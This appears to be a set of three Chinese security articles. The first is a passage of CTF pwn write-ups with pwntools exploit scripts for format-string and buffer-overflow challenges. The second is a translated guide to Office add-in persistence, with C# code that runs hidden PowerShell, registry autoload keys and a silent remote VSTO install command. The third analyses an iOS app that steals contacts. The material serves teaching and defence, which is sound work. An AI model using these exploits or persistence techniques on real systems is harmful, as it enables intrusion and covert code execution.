后面就到`return a+b`,这里没有进行开辟栈空间，所以这些操作并没有在当前栈里面。`rbp rsp`指向同一地址
接着执行ret可以看到
RIP的值就是上面那个栈顶的值, 这就验证了ret => pop rip
这里栈没什么空间,所以这里丢个简单的栈图
### 0x4.2 参考链接
[Linux
gcc和gdb程序调试用法](https://blog.csdn.net/chenyiming_1990/article/details/8653900)
[pwn 题GDB调试技巧和exp模板](https://blog.csdn.net/lla520/article/details/77776809)
[【汇编】堆栈和画堆栈图](https://blog.csdn.net/qq_41884002/article/details/81452889)
## 0x5 练习篇
**第一部分我打算从攻防世界的新手区刷起**
### 0x1 get_shell
#### (1) 题目描述及其考点
> 题目描述：运行就能拿到shell呢，真的
> 考点: 基本的pwntools使用
#### (2) wp
直接hex Fiend查看或者`checksec` 或者用自带的`file x`
可以得知这个程序是64位(x86-64 就是x64)的
我们直接用ida打开,f5一下,可以知道这个题目的确很基础,考察基本的pwn链接。
可以看出来直接system执行了命令行下的输入
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
system("/bin/sh");
return 0;
}
那么我们直接写个连接nc的脚本就行了
上面给出了nc的地址: `111.198.29.45:34462`
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 34462)
c.interactive()
### 0x2 CGfsb
#### (1) 题目描述及其考点
> 题目描述：菜鸡面对着pringf发愁，他不知道prinf除了输出还有什么作用
> 漏洞点: 格式化字符串
#### (2)wp
[格式化字符串漏洞利用学习](https://www.cnblogs.com/ichunqiu/p/9329387.html)
我们把附件下载下来,直接ida打开。
我们`checksec`查看下
这是32位架构的,直接用ida64打开是没办法反编译的,这里我们选择用32位ida去打开
然后在左边那个`Function name`窗口按下`m`就会匹配以m开头的函数,找到`main`函数,f5反编译
// 这里我选取了重要代码出来,
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);// 这里漏洞点
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:n");
system("cat flag");
}
`printf()`的标准格式是: printf(“<格式化字符串>”,<参量表>)
首先我们找出偏移量
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 53486)
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', 'AAAA %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x')
c.interactive()
`AAAA` 其实就是 `十进制ascii 65->0x41 (16进制)` 这样看起来比较方便。
我们可以看到AAAA 相对于格式化字符串的偏移量是10。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 53486)
payload = p32(0x0804A068) + '1234' + '%10$n'
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', payload)
c.interactive()
这里需要介绍`%n`在格式化字符串中作用
> %n: 将%n 之前printf已经打印的字符个数赋值给格式化字符串对应偏移地址位置。
这里因为要pwnme为8,所以我们构造`p32(0x0804A068) +
'1234'`8个字节,然后`%10$n`进行赋值给`p32(0x0804A068)`地址,从而pwn掉。
### 0x3 when_did_you_born
#### (1)题目描述及其考点
> 只要知道你的年龄就能获得flag，但菜鸡发现无论如何输入都不正确，怎么办
> 考点: 栈溢出
#### (2) wp
首先看下文件结构:
这里开启了`Canary`保护,也许你现在对此一无所知,但是没关系,看我细细道来。
>
> canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处，先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上，当函数结束时会检查这个栈上的值是否和存进去的值一致
那么这句话是什么意思呢,就算你不懂汇编，也没关系，听我一点点地举例子来分析。
我们ida64打开下载下来的elf文件, 左边按m找到main函数，代码如下。
我们挑取代码下来分析下:
.text:0000000000400826 main proc near ; DATA XREF: start+1D↑o
.text:0000000000400826
.text:0000000000400826 var_20 = byte ptr -20h
.text:0000000000400826 var_18 = dword ptr -18h
.text:0000000000400826 var_8 = qword ptr -8
.text:0000000000400826
.text:0000000000400826 ; __unwind {
.text:0000000000400826 push rbp
.text:0000000000400827 mov rbp, rsp
.text:000000000040082A sub rsp, 20h
.text:000000000040082E mov rax, fs:28h
.text:0000000000400837 mov [rbp+var_8], rax
.text:000000000040083B xor eax, eax
.text:000000000040083D mov rax, cs:stdin
.text:0000000000400844 mov esi, 0 ; buf
.text:0000000000400849 mov rdi, rax ; stream
.text:000000000040084C call _setbuf
.text:0000000000400851 mov rax, cs:stdout
.text:0000000000400858 mov esi, 0 ; buf
.text:000000000040085D mov rdi, rax ; stream
.text:0000000000400860 call _setbuf
.text:0000000000400865 mov rax, cs:stderr
.text:000000000040086C mov esi, 0 ; buf
.text:0000000000400871 mov rdi, rax ; stream
.text:0000000000400874 call _setbuf
.text:0000000000400879 mov edi, offset s ; "What's Your Birth?"
.text:000000000040087E call _puts
.text:0000000000400883 lea rax, [rbp+var_20]
.text:0000000000400887 add rax, 8
.text:000000000040088B mov rsi, rax
.text:000000000040088E mov edi, offset aD ; "%d"
.text:0000000000400893 mov eax, 0
.text:0000000000400898 call ___isoc99_scanf
.text:000000000040089D nop
> 补充一些基础的汇编知识点:
> ; 分号代表注释
main proc near ; 代表main子程序的开始 可以类比为 main(){}中的 main{
main endp ;代表main子程序的结束,类比为 main(){} 中的 }
> .text:0000000000400826 var_20 = byte ptr -20h
> .text:0000000000400826 var_18 = dword ptr -18h
> .text:0000000000400826 var_8 = qword ptr -8
> = 用来定义一个一个常量
> 操作符 x ptr 指明内存单元的长度
> byte ptr代表是字节单元
> word ptr 代表是字单元(两个字节大小)
> dword ptr 代表是双字单元(4个字节大小)
> qword ptr 代表是四字单元(8个字节大小)
下面是cannary的重点了.
.text:0000000000400826 push rbp
.text:0000000000400827 mov rbp, rsp
.text:000000000040082A sub rsp, 20h
.text:000000000040082E mov rax, fs:28h
> 理解这里,我们先掌握一些小知识
> 调用函数过程涉及到三个寄存器(寄存器可以理解为一个存放值的盒子)
> 分别是 sp,bp,ip (16位cpu) esp,ebp,eip(32位cpu) rsp,rbp,rip(64位cpu)
> rsp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
> rbp用来存储当前函数状态的基地址，在函数运行时不变，用来索引确定函数的参数或局部变量的位置
> rip 用来存储即将执行的程序指令的地址, cpu根据eip的存储内容读取指令并执行(程序控制指令模式)
> 栈空间增长方式是从高地址到地址的,也就是栈顶的地址值是小于栈底的地址值的
我们可以通过gdb调试画出对应的堆栈图
我们复制下push rbp的指令地址,然后打个断点,然后r(run)
我们可以利用`pwndpg`插件很清楚的看到堆栈信息
我们输入`n`程序执行到下一行 (`n ->next`不进入函数 `s->step` 进入函数 )
接着,左边直接找main函数,然后f5,得到代码
这代码逻辑其实很容易看懂，就是一开始`v5`不能等于1926进入else流程的时候,`v5`等于1926就能输出flag
作为一枚pwn萌新,其实感觉还是有点不可思议的,但是转头想想栈溢出覆盖值的概念,就觉得可以理解了。
我们注意下`else`流程哪里，有个`gets(&v4)` 是char类型的,很明显不对劲嘛,`gets`应该读取的是字符串类型
这样我就可以输入无数个字符,这样可能就会导致栈溢出。
然后我们想想,我们可不可以控制`v4`让其溢出去覆盖`v5`的值呢,下面看我操作吧。
我们首先需要确认下`v4`和`v5`的位置
ida反编译直接双击或者鼠标点到`v4` `v5`可以看到相对esp ebp的位置
> v4 rsp+0h rbp-20h
> v5 rsp+8h rbp-18h
所以说我们可以直接写exp了。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote('111.198.29.45', '52808')
c.sendlineafter('Birth?', '1999')
c.sendlineafter('Name?','A'*8 + p64(1926))
c.interactive()
其实画个图很好理解
这里因为不需要栈越界所以`canary`保护就没啥用了,如果栈越界的话,那么就会导致canary存的值发生改变,然后比较改变之后程序就会执行`__stack_chk_fail`函数,从而终止程序,后面遇到bypass
cannary保护我再继续深究下具体流程,目前我们还是继续刷题,巩固下前面的知识先。
#### (3) 参考链接
[Canary保护详解和常用Bypass手段](https://www.anquanke.com/post/id/177832)
[Bit,Byte,Word,Dword,Qword](https://www.cnblogs.com/silva/archive/2009/12/08/1619393.html)
[手把手教你栈溢出从入门到放弃](https://paper.seebug.org/271/)
[gdb查看函数调用栈](https://blog.csdn.net/baidu_24256693/article/details/47297209)
[手把手教你玩转GDB(一)——牛刀小试：启动GDB开始调试](http://www.wuzesheng.com/?p=1327)
### 0x4 hello_pwn
#### (1)题目描述及其考点
> pwn！，segment fault！菜鸡陷入了深思
> 考点: bss段溢出
#### (4)wp
我们首先把文件下载下来,`checksec`一下
还是老套路找入口函数`main`
然后我会直接双击`sub_400686`查看下函数内容.
这样就很容易明白我们的目标是让等式成立。
.assets/image-20191006222315601.png#alt=image-20191006222315601)
我们可以通过`read`控制`unk_601068` 10个字节。
这里涉及到`bss`段的概念
> bss段主要存放未初始化的全局变量
> 可以看到上面两个变量都是没有进行初始化的。
> bss段数据是向高地址增长的,所以说低地址数据可以覆盖高地址数据
所以我们可以直接写出exp了 两者之间的相差4个字节 `0x6B-0x68=0x4`,我们还可0x10-0x4=12字节,
写入`1853186401`=`0x6E756161`小于int范围4字节足矣
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
ip, port = '111.198.29.45:44975'.split(':')
# print(ip, port)
c = remote(ip, port)
#接收完这个数据之后再发送.其实不要也行,得看服务端处理速度
c.recvuntil("lets get helloworld for bof")
c.sendline('A'*4 + p64(1853186401))
c.interactive()
#### 0x3 参考链接
BSS段的溢出攻击
[Heap/BSS
溢出机理分析[转]](https://www.cnblogs.com/belie8/archive/2012/02/23/2365281.html)
### 0x5 level0
#### (1)题目描述及其考点
> 菜鸡了解了什么是溢出，他相信自己能得到shell
> 考点: 栈溢出 **return2libc**
这个题目很经典的栈溢出漏洞利用,通过栈溢出来覆盖返回地址,从而调用恶意函数地址。
而且这个漏洞代码非常简洁,很适合新手去学习。
#### (2)wp
第一步套路看保护:
第二步ida搜索入口函数
看到`vulnerable_function`,显然是个提示。
然后看下函数的代码是啥:
然后我们`shift+f12`看下字符串
发现有个`/bin/sh`,
通过xref确定了后门函数:
所以说如果我们能调用这个函数就可以反弹一个shell了。
这个时候基本就可以猜到是栈溢出了覆盖函数返回地址。
我们具体来分析下:
首先我们查看下`write` and `read`函数的文档说明:
> read(int fd,void _buf,size_t nbyte)
> ssize_t write(int fd,const void _buf,size_t nbytes)
> fd是文件描述符 0是标准输入 1是标准输出
> 其实很好理解,第一个函数往1里面写入了`hello
> world`,因为1对应的标准输出对象是屏幕,所以就会在屏幕上输出helloworld，就是一个printf的功能。
> 同理read也是这样,我们直接在屏幕输入的数据就会被读取到buf里面。
这个题目没开`pie`,也就是地址其实就是固定的,所以我们先确定下那个shell函数的地址(函数开始地址): `0000000000400596`
我们继续分析下`read`的问题:
.assets/image-20191007075530589.png#alt=image-20191007075530589)
这里`buf`应该是`char`类型1字节大小,但是读取的时候竟然可以写入0x200的数据,这里的栈大小是`0x80`字节
那个`0x80`怎么算的呢
> rsp+0h 说明这个位置其实就是rsp的位置
> rbp-80h 说明rbp距离rsp是0x80h,那么栈的大小不就是rbp-rsp=+0x80大小吗?
这样我们就可以考虑覆盖read函数的返回地址了。
我们可以画个草图,然后用gdb去调试下这个流程就很容易明白覆盖过程了。
这个题目涉及到一个完整的函数调用流程,这里为了照顾跟我一样的萌新,我再细细地继续从0基础说一次。
重新回顾下:
> ebp 作用就是存储当前函数的基地址,运行时保持不变,用来索引函数参数或者局部变量的位置
> esp 用来存储函数调用栈顶地址，在压栈是地址减少，退栈是地址增大
> eip 指向程序下一条执行指令。
我们简化下概念:
假设有函数A 函数B
函数A在第二行调用了函数B,也就是说第一行的时候eip指向的就是执行第二行的指令的地址。
int function A()
{
B();
printf("123");
}
那么调用完B之后,eip怎么去指向`printf`函数去执行呢,这里就是函数调用栈的关键啦。
首先我们要明确,栈空间是在当前空间开辟的一个独立空间,而且增长方式与当前空间是相反的。
有了这个概念之后,我们继续分析。
假设第三条指令地址(printf函数)是0x3,也就是说B函数执行完之后,eip应该执行0x3
那么执行第二条指令开辟的栈的流程就是:
> 保护现场
首先把0x3 eip信息压入栈内,保留了eip程序执行流程的信息。
然后把当前ebp寄存器的值(调用函数A的基地址)压入栈内,然后更将ebp寄存器的值更新为当前栈顶的地址。
这样调用函数A的ebp信息可以得到保存,同时ebp被更新为被调用函数b的ebp地址。
> 恢复现场
首先pop ebp,然后恢复了调用函数A时候的ebp。
然后pop eip 退出栈,恢复之前的下一条eip指令
可能有些人就在想为啥要这样做?
eip不变不行吗,为啥要入栈作为返回地址存存起来,这里有个小误区,首先在栈空间里也是需要eip的,所以说栈空间的指令执行的时候eip会发生改变,不作为返回地址存起来的话,那么就会丢失程序流程。
理解之后我们画个堆栈图来理解这个题目
这里是开辟了0x80的栈空间
看下地址:
`0xf0-0x70=0x80`
可以看到数据的增长方向(内存地址是随机化的,每次启动都不同)
如果再继续输入的话,就会把ebp给覆盖了。
我们直接可以写exp了。 因为rbp是占用8字节64位寄存器,0x80+0x8=0x88(覆盖rbp之后继续添加数据就覆盖返回地址了)
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
ip, port = '111.198.29.45:37260'.split(':')
# print(ip, port)
c = remote(ip, port)
# c.recvuntil("lets get helloworld for bof")
# p64是小端字节序转换
c.sendline('A'*0x88 + p64(0x400596))
c.interactive()
## 0x6 总结
因为自己也是一个萌新,所以文章难免有疏漏或者错误的地方,欢迎师傅给我订正。对于网上的pwn教程我个人觉得对新手真的不是特别友好，造成了pwn入门门槛偏高，希望自己能给一些新手带来一些帮助，也希望有师傅能带带我这个pwn萌新谢谢。
还有。。后面我会花时间填好之前那个java代码审计入门教程的坑的。。。不过还是得先准备下老师的考试。。。。。。我会尽快的。。emmmm。
## 0x7 预期计划
由于自己学的比较零碎,后面还是通过继续做题,最后再来个总结的方式,记录下自己的学习过程。
## 0x8 参考链接
[Linux – Pwn 从入门到放弃](https://www.n0tr00t.com/2017/12/15/Linux-Pwn-Rumen~Fangqi.html) | 社区文章 |
# 【技术分享】利用Office插件实现恶意程序持久化
|
##### 译文声明
本文是翻译文章，文章来源：labs.mwrinfosecurity.com
原文地址：<https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[running_wen](http://bobao.360.cn/member/contribute?uid=345986531)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
对于攻击者而言，通常攻击目标的pc环境中都会有Office软件。既然用的人多，利用Office来实现持久化当然就是个不错的选择了。
下面讨论以下6种机制来实现持久化，并讨论每种方法的优缺点：①利用WLL,XLL插件；②利用Excel与PowerPoint的VBA插件；③利用Office的com插件；④.利用Excel的Automation插件；⑤利用Office中VBA
editor插件；⑥利用VSTO插件。
以上6种持久化技术均在office 2013上测试成功，测试操作系统为win7、8.1、10。
**利用WLL，XLL插件**
[](https://labs.mwrinfosecurity.com/publications/one-template-to-rule-em-all/)
[Kostas](https://labs.mwrinfosecurity.com/publications/one-template-to-rule-em-all/)等人利用office模板实现持久化的关键是受信任位置(Trusted
Locations)这一理念。在这些目录下的文件，文件中的VBA代码不受通常的宏设置的影响，在宏被禁用的情况下，里面的代码仍然能够在不告警的情况下执行。进一步的研究发现，一些特定的受信任位置，普通用户也具有写权限并且能够用于放置基于DLL的插件。
**利用Word的WLL插件**
Word的三个受信任位置如下图1所示 。可以看出受信任位置有template(模板)的，也有StartUp（启动的）。
图 1 word受信任位置
进一步深挖发现，受信任位置“StartUp”可以用来放置wll后缀的word插件。该后缀的文件在word97中就有了，现在的word中仍然支持它，不过如何生成这样的文件资料甚少。仔细研究后发现，该文件实质上还是dll文件，套了wll后缀而已。这也就意味着wll文件支持基本的DLL功能，因此我们直接将dll文件的后缀改为wll，并将得到的文件放到受信任位置“StartUp”下，这样word启动时，就能执行任意代码了。而所有这些操作低权限的用户即可完成。
图2为利用wll插件启动calc.exe后的截图，可以看出calc.exe作为Word(进程为winword.exe)的子进程在运行。
图 2 利用wll插件启动calc.exe
测试时有个坑需要注意，使用msfvenom生成的dll执行后word会崩溃，自己用C++编写个dll，并把执行的代码放在入口函数DllMain中word就不会崩溃，代码执行后word能够继续运行。
比较有意思的是，WLL插件能够自动加载，里面的代码能正常执行，但在word加载项中却显示为非活跃应用程序加载项目，如图3所示。也正因为这样，在word的信任中心禁用word插件并不会警用WLL插件。
图 3 WLL插件在加载项中的显示
**利用Excel的XLL插件
**
Excel
用XLL插件来扩展自身功能。与WLL插件在word启动时自动加载不同，需要对注册表特定的key添加一个属性来让Excel加载相应的XLL插件。Key的位置为：
HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0ExcelOptions
需要添加的属性为“OPEN”，其值设置为“/R FileNameOfAddin.xll”。如图4所示：
图 4 添加“OPEN”属性
Excel默认会搜索“%appdata%MicrosoftAddIns”目录，因此上图OPEN属性中插件并不需要使用绝对路径。不过有意思的是，该路径并未有在Excel的受信任路径中。这可能是因为受信任位置主要涉及VBA执行的安全控制。
Excel执行XLL插件的方式也与word使用WLL插件的方式不同。对每个配置好的XLL插件，Excel都会搜索其中的导出函数，并在适当的时候进行调用。比如，在程序首次加载时，Excel会搜索并调用xlAutoOpen函数。xlAutoOpen函数正如其函数名所暗示的，其行为与VBA的Auto_Open函数类似。
与word的WLL插件不同，XLL插件Excel的加载项中显示为活跃应用程序加载项目，并且可以在信任中心(Trust Center)中对其进行禁用。
优点：①普通用户可对Word的StartUp目录写文件，Excel中Options下的键值普通用户也可编辑；②Word的WLL插件可自动加载，而Excel也只需要修改注册表即可实现自动加载；③通过禁用应用程序插件并不能禁用WLL插件，而Excel的XLL插件禁用插件时会被禁用掉；④WLL插件在word加载项中显示为非活跃应用程序加载项，但却能正常运行。XLL插件则显示为活跃应用程序加载项；⑤可能用于虚拟桌面框架(Virtual
Desktop Infrastructure ，VDI)的环境中。
缺点：①需要放置DLL文件到“%appdata%”目录下；②利用xll插件时需要修改注册表。
**利用Excel与PowerPoint的VBA插件**
与word类似，Excel与PowerPoint中也有与word的StartUp类似的受信任位置。一个是针对所有针对整个系统的，一个是针对特定用户的。针对特定用户的受信任位置为“XLSTART”（针对Excel）与“AddIn”(针对Excel，PowerPoint)。
这些受信任位置原意并不是用来放置基于DLL的插件的，而是存放基于VBA的，并使用了非标准后缀的扩展文件的。
这种持久化机制基于与Kostas的利用模板实现持久化差不多。主要的不同在于，当VBA代码在模板文件中时，只有使用了改模板的文档才会导致VBA代码的执行。而VBA插件与事件挂钩，不管是Excel，还是PowerPoint只要打开文件触发了相应的事件，就会执行VBA插件中的代码，而与选用的模板没有关系。但VBA插件仅限于Excel于PowerPoint。
**Excel VBA插件**
创建新的Excel文件，打开VBA编辑器(Ps:ctrl +F11)，选择“插入模块”（module），利用模块可以实现持久化，如图5所示：
图 5 插入模块
保存文件为“*.xlam”或者“*.xla”格式，如图6所示。并将文件放入“%appdata%MicrosoftExcelXLSTART”目录，这样下次打开Excel时，插件即可自动运行。
图 6 保存为xlma格式
**PowerPoint VBA插件**
PowerPoint的VBA插件创建方式与Excel的VBA插件创建方式大体相同，只需文件格式保存为“*.ppa”或者“*.ppam”,并将文件放入“AddIns”目录下(该目录通常的位置为“%appdata%MicrosoftAddIns”)，XLL插件使用的也是这个位置。
与Excel不同的是，PowerPoint插件默认不是自动加载的，但可以通过修改注册表实现自动加载。需要新建注册表项“HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0PowerPointAddIns<AddInName>”。
需要注意的是，此处的15.0为office版本号，对应office
2013，不同版本office需进行相应的调整。该项主要包括以下键值对：“Autoload”(设置为1，实现自动加载)，Path(插件路径，插件名即可，无需绝对路径)，如图7所示：
图 7 PowerPoint设置注册表项
**优点：** ①不需要管理员权限；②Excel
VBA插件能自动加载；③受信任位置能执行VBA脚本；④禁用应用程序插件，并不能禁用VBA脚本;⑤可以使用密码对插件的查看与编辑进行保护，但插件仍然会被执行；⑥有可能能用于VDI环境。
**缺点：** ①需要忍受下写VBA代码的痛苦；②PowerPoint下，需要写注册表；③Excel、powerPoint都需要写文件到相应的目录。
**Office Com 插件**
另外一种创建插件的方式是Com插件。由于com插件的工作方式，能够创建一个所有office软件通用(包括outlook)的Com插件。例如，为了在运行office软件时执行代码。Com对象(文件名虽然为dll后缀，但与传统dll不同)必须在使用前在注册表中注册，主要也就是给windows通知该Com对象(如在HKEY_CLASSES_ROOT下设置相应的项)。注册过程由拥有“ComRegisterFunctionAttribute”属性的函数负责。
接着需要对该Com对象的使用进行相应的配置，包括创建包含三个属性的key,每一个Office软件要使用该Com对象，都需要设置这样的Key。Key的位置为：
HKEY_CURRENT_USERSoftwareMicrosoftOffice<Program>Addins<AddInName>
在上面的例子中，“LoadBehaviour”设置为3标识软件启动时自动加载该插件，“FriendlyName”对应插件的名字，如图8所示：
图 8 Outlook com插件注册表设置
为对应Offfice软件创建key的过程也可以有负责Com插件注册的函数负责。好处当然是能一步搞定咯。
为了让Office软件加载Com对象时能够被执行，其中一种方式就是将代码放在Office特有的“IDTExtensibility2”接口的“OnConnection”函数中。该接口负责插件相关的事件，如插件的加载（OnConnection）等。下面的代码展示了如何利用隐藏的Cmd窗口运行calc.exe。
public void OnConnection(object application, Extensibility.ext_ConnectMode connectMode, object addInInst, ref System.Array custom)
{
/* snip */
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "powershell.exe";
startInfo.Arguments = "-ep bypass -C calc";
process.StartInfo = startInfo;
process.Start();
}
一旦Com插件创建完成，就可以使用regasm.exe进行部署了，regasm会调用注册函数。由于是对HKEY_CLASSES_ROOT进行些操作，因此要求有管理员权限，如图9所示：
图 9 利用regasm完成 Com插件注册
上图中，Outlook打开的时候就会加载插件，进而运行计算器程序。
**优点：** ①一个com插件，多个office产品通用；②一条命令就能完事儿。
**缺点：** ①需要放置com插件的dll文件，插件的注册与自动加载需要编辑注册表；②com插件注册需要管理员权限；③不适合VDI环境。
**Excel Automation插件**
Excel
Automation插件是用来扩展Excel功能的，因此允许创建用户自定义函数。自定义函数也能够被执行，如使用公式“=SUM()”就是使用内建函数的一个例子。用户自定义函数存放在“Automation
Add-Ins”下。Automation插件的创建方式与Com插件类似，但使用方式特殊。
与Com对象类似，Automation插件也有注册函数，注册函数里面也可以包含对注册表的操作（这样Excel会自动加载对应的Automation插件）。涉及的key位置为：
HKEY_CURRENT_USERSOFTWAREMicrosoftOffice15.0ExcelOptions
每一个Automation插件在OPENx属性中列出，其中x是数值，当有多个插件同时存在时，x会递增，如图10所示：
图 10 为Excel Automation插件配置注册表项
为了利用Automation插件实现持久化，我们只需要向相应的命名空间与类下定义函数即可，上图中命名空间为“InconspicuousAddIn”，类名为“ExtFunctions”（注册表中有涉及）。正常函数能做的事情，自定义函数也能做，还能执行任意命令。下面的用户自定义函数运行计算器程序后，计算选中的单元格的数目。
public double CountCellsRange(object range)
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "powershell.exe";
startInfo.Arguments = "-ep bypass -C calc";
process.StartInfo = startInfo;
process.Start();
Excel.Range count = range as Excel.Range;
return count.Cells.Count;
}
由于Excel
Automaiton插件也是基于com的，因此实现持久化，可是使用与regasm.exe注册Com插件相同的语法注册Automation插件。Regasm注册后，插件就处于可用状态了，如图11所示：
图 11 Automation插件注册后状态
一旦用户自定义函数集成到了Excel中，攻击者还是需要以某种方式来触发命令执行。不幸的是，似乎并不能覆盖Excel本身的函数。而且，用户自定义函数仅仅在被调用的时候才会执行，如果之前被执行过了，并且运行结果保存在了文档中就不会再运行了。
因此，用户自定义函数需要被强制执行，使用VBA脚本即可实现。利用VBA脚步强制执行虽然并不理想，但是相对于在模板中利用VBA，或者利用插件来实现持久化，Automation插件实现持久化更难检测，毕竟很容易让人觉得自定义函数就是正常函数。图12为VBA代码片段实现持久化的一个例子。当Excel文件被打开的时候，一个单元格被选中，其内容被用户自定义函数的返回值替代。
图 12 利用 VBA强制执行用户自定义函数
**优点：** ①一条命令就可完成部署(regasm)
**缺点：** ①com注册要管理员权限；②需要以某种方式调用用户自定义函数；③VDI环境中可能用处不大。
**VBE 插件**
不利用VBA，而利用VBA编辑器，其实也可以实现持久化。虽然有关创建VBE插件的文档很少，但同样也是基于Office’s
"IDTExtensibility2"接口，也是基于Com对象的。通过Com对象，就能在如VBA编辑器启动的时候执行任意代码了。由于是基于Com的，因此同样可以使用regasm进行部署。涉及插件自动加载的注册表key位于
HKEY_CURRENT_USERSoftwareMicrosoftVBAVBE6.0Addins<VBEAddIn.Name>
该Key同样key包含一系列属性，”FriendlyName”标识注册的Com对象，“LoadBehaviour”设置为3让VBA编辑器启动的时自动加载该插件，如图13所示:
图 13 VBA编辑器插件的注册表设置
配置好的插件可以在VBA编辑器的外接程序管理器中看到，如图14所示：
图 14 VBE插件状态
**优点：** ①创建插件，多个office产品能通用（一举多得）；②一条命令即可完成部署(regasm)
**缺点：** ①需要用户打开VBA编辑器；②com注册需要管理员权限；③VDI环境中可能用处不大。
**VSTO 插件
**
为了完整性，此处也提下Visual Studio Tools for
Office(VSTO)。VSTO在office新版本中是Com插件的替代品，虽然前者还是能用。与Com插件不同的是，VSTO要求特定的运行时来安装，而默认是没有安装的。
用VSTO来实现永久化的一个点是利用“ThisAddIn-Startup”函数，该函数用于处理启动事件（如应用程序启动的时候模块加载时）。实例如下：
private void ThisAddIn_Startup(object sender, System.EventArgs e)
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "powershell.exe";
startInfo.Arguments = "-ep bypass -C calc";
process.StartInfo = startInfo;
process.Start();
}
VSTO插件利用的难点就在于部署。部分是因为需要特殊的运行时。如果没有被安装，可以使用Vstor_redist.exe进行静默安装，不过需要处理安全控制（需要避免被检测到）。
VSTO插件（*.vsto）可以使用VSTOInstaller.exe进行安装(它是运行时的一部分)，如图15所示：
图 15 利用VSTOInstaller.exe安装VSTO插件
不幸的是，这会弹出确认安装的提示。虽然可以使用/s选项来静默安装，但这需要可信的证书发布者进行签名，否则安装会失败。安装提示如图16所示：
图 16 VSTO插件安装提示
有趣的是，VSTOInstaller.exe是微软签名的文件，插件的位置可以由URL指定(如"VSTOInstaller.exe /s /i
[http://192.168.7.129/OutlookAddIn1.vsto](http://192.168.7.129/OutlookAddIn1.vsto))。乍看之下，会让人觉得如果有VSTO插件在使用，就可以用来绕过可能的应用白名单。不过Windows的信任模型限制了这种方式。虽然用户可能会信任在“Trusted
Root”中信任一些CA，但是这种信任并不能用于让他们对软件进行更新。相反，有个单独的“Trusted
Pulibsheer”（受信任发布者）保存着用着这种能力的CA。
**优点：** VSTOInstaller.exe是微软签名的程序，可用通过HTTP以静默的方式下载插件，尽管需要来源于可信的发布者。
**缺点：** ①需要VSTO运行时；②没有可信发布者对插件签名就不能静默安装，尽管用户可能会把它当做正常应用来安装它；③VDI环境中可能用处不大。
**恶意插件防护**
恶意的XLL、COM、Automation、VSTO插件都可以在应用程序的信任中心对插件进行禁用，也可以通过注册表完成，如图17所示：
图 17 禁用插件
另外，如果需要使用插件，建议还是要有可信发布者进行签名，并禁用用户提醒。恶意插件安装的时候，用户提醒对可能的安全威胁提供的警告有限，用户仍然可能会选择启用内容（enable
content），尤其是当用户打开之前信任的文档时。提示的情况如下如图18所示：
图 18 用户安全提醒
尽管WLL、VBA插件被定义为插件，但是并不受信任中心的设置的影响。鉴于wll就是dll文件，这多少还是觉得有点诧异。
应对恶意WLL、VBA插件的最有效方式就是移除每个应用的StartUp类目录了（没有使用的话，ps:默认也为空）。如果使用了，至少对于Excel与PowerPoint可以考虑将需要的文件放在针对整个系统受信任的位置，并移除用户目录下的信任位置的文件。这样，攻击者需要提权才能使用针对整个系统的信任位置来实现持久化。这两种情况下，组织可以对信任位置的权限进行限定，来防止用户添加或编辑已经存在的文件。
我们也建议机构也需要有对恶意插件的检测能力。核心的三个方面是检查并验证文件系统中信任位置的内容，对负责插件加载的相关注册表进行审计，监控非标准程序的关系(如检查由office启动的程序）。 | 社区文章 |
# VelVet病毒分析报告—针对韩国用户的IOS应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近暗影安全实验室发现了一款主要针对韩国用户的IOS恶意程序，该病毒的主要行为是安装启动后读取用户手机通讯录信息并上传到指定服务器，具有隐私窃取行为。
## 样本信息
**文件名称:** 9b24219f0504bf1aed074b9ab1ed73ec.ipa
**文件MD5：** 9B24219F0504BF1AED074B9AB1ED73EC
**安装名称：** VelVet
## 行为及代码分析
该APP运行后显示登录界面，输入数据后点击号码认证，APP会请求通讯录权限。
图1-1 请求通讯录权限
随后APP获取用户通讯录信息并上传至服务器：
http://redvios.com:8085/JYSystem/restInt/collect/postData。
图1-2 上传数据包
用户点击号码认证后，恶意程序首先进行网络判断，判断用户设备是否连接网络。
图1-3 判断是否连网
然后检测应用程序是否具有通讯录权限。
图1-4 检测应用是否具有通讯录权限
当同时具备网络畅通，并获取了读取通讯录权限后，读取用户设备通讯录信息。
图1-5 读取用户通讯录信息
对读取的数据进行json格式化，同时传入要上传的服务器地址。
图1-6 对数据进行格式化
